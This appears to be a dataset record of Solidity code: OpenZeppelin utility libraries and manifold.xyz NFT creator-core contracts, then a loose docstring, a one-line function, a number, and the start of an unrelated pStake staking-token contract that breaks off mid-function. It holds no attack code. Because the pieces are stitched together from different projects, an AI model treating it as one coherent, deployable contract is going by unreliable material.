is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Interface for admin control */ interface IAdminControl is IERC165 { event AdminApproved(address indexed account, address indexed sender); event AdminRevoked(address indexed account, address indexed sender); /** * @dev gets address of all admins */ function getAdmins() external view returns (address[] memory); /** * @dev add an admin. Can only be called by contract owner. */ function approveAdmin(address admin) external; /** * @dev remove an admin. Can only be called by contract owner. */ function revokeAdmin(address admin) external; /** * @dev checks whether or not given address is an admin * Returns True if they are */ function isAdmin(address admin) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * Implement this if you want your extension to approve a transfer */ interface IERC721CreatorExtensionApproveTransfer is IERC165 { /** * @dev Set whether or not the creator will check the extension for approval of token transfer */ function setApproveTransfer(address creator, bool enabled) external; /** * @dev Called by creator contract to approve a transfer */ function approveTransfer(address from, address to, uint256 tokenId) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Your extension is required to implement this interface if it wishes * to receive the onBurn callback whenever a token the extension created is * burned */ interface IERC721CreatorExtensionBurnable is IERC165 { /** * @dev callback handler for burn events */ function onBurn(address owner, uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721Creator compliant extension contracts. */ interface IERC721CreatorMintPermissions is IERC165 { /** * @dev get approval to mint */ function approveMint(address extension, address to, uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./ICreatorCore.sol"; /** * @dev Core ERC721 creator interface */ interface IERC721CreatorCore is ICreatorCore { /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to) external returns (uint256); /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to) external returns (uint256); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenIds minted */ function mintExtensionBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtensionBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev burn a token. Can only be called by token owner or approved address. * On burn, calls back to the registered extension's onBurn method */ function burn(uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../extensions/ICreatorExtensionTokenURI.sol"; import "./ICreatorCore.sol"; /** * @dev Core creator implementation */ abstract contract CreatorCore is ReentrancyGuard, ICreatorCore, ERC165 { using Strings for uint256; using EnumerableSet for EnumerableSet.AddressSet; using AddressUpgradeable for address; uint256 public _tokenCount = 0; uint256 public MAX_TICKETS = 25000; // max number of tokens to mint // Track registered extensions data EnumerableSet.AddressSet internal _extensions; EnumerableSet.AddressSet internal _blacklistedExtensions; mapping (address => address) internal _extensionPermissions; mapping (address => bool) internal _extensionApproveTransfers; // For tracking which extension a token was minted by mapping (uint256 => address) internal _tokensExtension; // The baseURI for a given extension mapping (address => string) private _extensionBaseURI; mapping (address => bool) private _extensionBaseURIIdentical; // The prefix for any tokens with a uri configured mapping (address => string) private _extensionURIPrefix; // Mapping for individual token URIs mapping (uint256 => string) internal _tokenURIs; // Royalty configurations mapping (address => address payable[]) internal _extensionRoyaltyReceivers; mapping (address => uint256[]) internal _extensionRoyaltyBPS; mapping (uint256 => address payable[]) internal _tokenRoyaltyReceivers; mapping (uint256 => uint256[]) internal _tokenRoyaltyBPS; /** * External interface identifiers for royalties */ /** * @dev CreatorCore * * bytes4(keccak256('getRoyalties(uint256)')) == 0xbb3bafd6 * * => 0xbb3bafd6 = 0xbb3bafd6 */ bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6; /** * @dev Rarible: RoyaltiesV1 * * bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb * bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f * * => 0xb9c4d9fb ^ 0x0ebd4c7f = 0xb7799584 */ bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584; /** * @dev Foundation * * bytes4(keccak256('getFees(uint256)')) == 0xd5a06d4c * * => 0xd5a06d4c = 0xd5a06d4c */ bytes4 private constant _INTERFACE_ID_ROYALTIES_FOUNDATION = 0xd5a06d4c; /** * @dev EIP-2981 * * bytes4(keccak256("royaltyInfo(uint256,uint256,bytes)")) == 0x6057361d * * => 0x6057361d = 0x6057361d */ bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x6057361d; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId) || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE || interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981; } /** * @dev Only allows registered extensions to call the specified function */ modifier extensionRequired() { require(_extensions.contains(msg.sender), "Must be registered extension"); _; } /** * @dev Only allows non-blacklisted extensions */ modifier nonBlacklistRequired(address extension) { require(!_blacklistedExtensions.contains(extension), "Extension blacklisted"); _; } /** * @dev See {ICreatorCore-getExtensions}. */ function getExtensions() external view override returns (address[] memory extensions) { extensions = new address[](_extensions.length()); for (uint i = 0; i < _extensions.length(); i++) { extensions[i] = _extensions.at(i); } return extensions; } /** * @dev Register an extension */ function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal { require(extension != address(this), "Creator: Invalid"); require(extension.isContract(), "Creator: Extension must be a contract"); if (!_extensions.contains(extension)) { _extensionBaseURI[extension] = baseURI; _extensionBaseURIIdentical[extension] = baseURIIdentical; emit ExtensionRegistered(extension, msg.sender); _extensions.add(extension); } } /** * @dev Unregister an extension */ function _unregisterExtension(address extension) internal { if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } } /** * @dev Blacklist an extension */ function _blacklistExtension(address extension) internal { require(extension != address(this), "Cannot blacklist yourself"); if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } if (!_blacklistedExtensions.contains(extension)) { emit ExtensionBlacklisted(extension, msg.sender); _blacklistedExtensions.add(extension); } } /** * @dev Set base token uri for an extension */ function _setBaseTokenURIExtension(string calldata uri, bool identical) internal { _extensionBaseURI[msg.sender] = uri; _extensionBaseURIIdentical[msg.sender] = identical; } /** * @dev Set token uri prefix for an extension */ function _setTokenURIPrefixExtension(string calldata prefix) internal { _extensionURIPrefix[msg.sender] = prefix; } /** * @dev Set token uri for a token of an extension */ function _setTokenURIExtension(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == msg.sender, "Invalid token"); _tokenURIs[tokenId] = uri; } /** * @dev Set base token uri for tokens with no extension */ function _setBaseTokenURI(string memory uri) internal { _extensionBaseURI[address(this)] = uri; } /** * @dev Set token uri prefix for tokens with no extension */ function _setTokenURIPrefix(string calldata prefix) internal { _extensionURIPrefix[address(this)] = prefix; } /** * @dev Set token uri for a token with no extension */ function _setTokenURI(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == address(this), "Invalid token"); _tokenURIs[tokenId] = uri; } /** * @dev Retrieve a token's URI */ function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); } else { return _extensionBaseURI[extension]; } } /** * Get token extension */ function _tokenExtension(uint256 tokenId) internal view returns (address extension) { extension = _tokensExtension[tokenId]; require(extension != address(this), "No extension for token"); require(!_blacklistedExtensions.contains(extension), "Extension blacklisted"); return extension; } /** * Helper to get royalties for a token */ function _getRoyalties(uint256 tokenId) view internal returns (address payable[] storage, uint256[] storage) { return (_getRoyaltyReceivers(tokenId), _getRoyaltyBPS(tokenId)); } /** * Helper to get royalty receivers for a token */ function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) { if (_tokenRoyaltyReceivers[tokenId].length > 0) { return _tokenRoyaltyReceivers[tokenId]; } else if (_extensionRoyaltyReceivers[_tokensExtension[tokenId]].length > 0) { return _extensionRoyaltyReceivers[_tokensExtension[tokenId]]; } return _extensionRoyaltyReceivers[address(this)]; } /** * Helper to get royalty basis points for a token */ function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) { if (_tokenRoyaltyBPS[tokenId].length > 0) { return _tokenRoyaltyBPS[tokenId]; } else if (_extensionRoyaltyBPS[_tokensExtension[tokenId]].length > 0) { return _extensionRoyaltyBPS[_tokensExtension[tokenId]]; } return _extensionRoyaltyBPS[address(this)]; } function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount, bytes memory data){ address payable[] storage receivers = _getRoyaltyReceivers(tokenId); require(receivers.length <= 1, "More than 1 royalty receiver"); if (receivers.length == 0) { return (address(this), 0, data); } return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000, data); } /** * Set royalties for a token */ function _setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "Invalid input"); uint256 totalBasisPoints; for (uint i = 0; i < basisPoints.length; i++) { totalBasisPoints += basisPoints[i]; } require(totalBasisPoints < 10000, "Invalid total royalties"); _tokenRoyaltyReceivers[tokenId] = receivers; _tokenRoyaltyBPS[tokenId] = basisPoints; emit RoyaltiesUpdated(tokenId, receivers, basisPoints); } /** * Set royalties for all tokens of an extension */ function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "Invalid input"); uint256 totalBasisPoints; for (uint i = 0; i < basisPoints.length; i++) { totalBasisPoints += basisPoints[i]; } require(totalBasisPoints < 10000, "Invalid total royalties"); _extensionRoyaltyReceivers[extension] = receivers; _extensionRoyaltyBPS[extension] = basisPoints; if (extension == address(this)) { emit DefaultRoyaltiesUpdated(receivers, basisPoints); } else { emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Core creator interface */ interface ICreatorCore is IERC165 { event ExtensionRegistered(address indexed extension, address indexed sender); event ExtensionUnregistered(address indexed extension, address indexed sender); event ExtensionBlacklisted(address indexed extension, address indexed sender); event MintPermissionsUpdated(address indexed extension, address indexed permissions, address indexed sender); event RoyaltiesUpdated(uint256 indexed tokenId, address payable[] receivers, uint256[] basisPoints); event DefaultRoyaltiesUpdated(address payable[] receivers, uint256[] basisPoints); event ExtensionRoyaltiesUpdated(address indexed extension, address payable[] receivers, uint256[] basisPoints); event ExtensionApproveTransferUpdated(address indexed extension, bool enabled); /** * @dev gets address of all extensions */ function getExtensions() external view returns (address[] memory); /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI) external; /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external; /** * @dev add an extension. Can only be called by contract owner or admin. * Returns True if removed, False if already removed. */ function unregisterExtension(address extension) external; /** * @dev blacklist an extension. Can only be called by contract owner or admin. * This function will destroy all ability to reference the metadata of any tokens created * by the specified extension. It will also unregister the extension if needed. * Returns True if removed, False if already removed. */ function blacklistExtension(address extension) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. */ function setBaseTokenURIExtension(string calldata uri) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURIExtension(string calldata uri, bool identical) external; /** * @dev set the common prefix of an extension. Can only be called by extension. * If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefixExtension(string calldata prefix) external; /** * @dev set the tokenURI of a token extension. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of a token extension for multiple tokens. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256[] memory tokenId, string[] calldata uri) external; /** * @dev set the baseTokenURI for tokens with no extension. Can only be called by owner/admin. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURI(string calldata uri) external; /** * @dev set the common prefix for tokens with no extension. Can only be called by owner/admin. * If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefix(string calldata prefix) external; /** * @dev set the tokenURI of a token with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of multiple tokens with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external; /** * @dev set a permissions contract for an extension. Used to control minting. */ function setMintPermissions(address extension, address permissions) external; /** * @dev Configure so transfers of tokens created by the caller (must be extension) gets approval * from the extension before transferring */ function setApproveTransferExtension(bool enabled) external; /** * @dev get the extension of a given token */ function tokenExtension(uint256 tokenId) external view returns (address); /** * @dev Set default royalties */ function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of a token */ function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of an extension */ function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Get royalites of a token. Returns list of receivers and basisPoints */ function getRoyalties(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); // Royalty support for various other standards function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory); function getFeeBps(uint256 tokenId) external view returns (uint[] memory); function getFees(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); function royaltyInfo(uint256 tokenId, uint256 value, bytes calldata data) external view returns (address, uint256, bytes memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165(account).supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Implement this if you want your extension to have overloadable URI's */ interface ICreatorExtensionTokenURI is IERC165 { /** * Get the uri for a given creator/tokenId */ function tokenURI(address creator, uint256 tokenId) external view returns (string memory); }
Returns the value stored at position `index` in the set. O(1). Note that there are no guarantees on the ordering of values inside the array, and it may change when more values are added or removed. Requirements: - `index` must be strictly less than {length}./
function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); }
6,396
/* Copyright [2019] - [2021], PERSISTENCE TECHNOLOGIES PTE. LTD. and the pStake-smartContracts contributors SPDX-License-Identifier: Apache-2.0 */ pragma solidity >= 0.7.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "./interfaces/ISTokens.sol"; import "./interfaces/IUTokens.sol"; import "./interfaces/IHolder.sol"; import "./libraries/FullMath.sol"; contract STokens is ERC20Upgradeable, ISTokens, PausableUpgradeable, AccessControlUpgradeable { using SafeMathUpgradeable for uint256; using FullMath for uint256; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; // constants defining access control ROLES bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // variables pertaining to holder logic for whitelisted addresses & StakeLP // deposit contract address for STokens in a DeFi product EnumerableSetUpgradeable.AddressSet private _whitelistedAddresses; mapping(address => address) private _holderContractAddress; // LP Token contract address which might be different from whitelisted contract mapping(address => address) private _lpContractAddress; // last timestamp when the holder reward calculation was performed for updating reward pool mapping(address => uint256) private _lastHolderRewardTimestamp; // variables capturing data of other contracts in the product address private _liquidStakingContract; IUTokens private _uTokens; // variables pertaining to moving reward rate logic uint256[] private _rewardRate; uint256[] private _lastMovingRewardTimestamp; uint256 private _valueDivisor; mapping(address => uint256) private _lastUserRewardTimestamp; /** * @dev Constructor for initializing the SToken contract. * @param uaddress - address of the UToken contract. * @param pauserAddress - address of the pauser admin. * @param rewardRate - set to rewardRate * 10^-5 * @param valueDivisor - valueDivisor set to 10^9. */ function initialize(address uaddress, address pauserAddress, uint256 rewardRate, uint256 valueDivisor) public virtual initializer { __ERC20_init("pSTAKE Staked ATOM", "stkATOM"); __AccessControl_init(); __Pausable_init(); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, pauserAddress); setUTokensContract(uaddress); _valueDivisor = valueDivisor; require(rewardRate <= _valueDivisor.mul(100), "ST1"); _rewardRate.push(rewardRate); _lastMovingRewardTimestamp.push(block.timestamp); _setupDecimals(6); } /** * @dev Calculate pending rewards for the provided 'address'. The rate is the moving reward rate. * @param lpContractAddress: contract address */ function isContractWhitelisted(address lpContractAddress) public view virtual override returns (bool result, address holderAddress){ // Get the time in number of blocks address _lpContractAddressLocal; // valueDivisor = _valueDivisor; 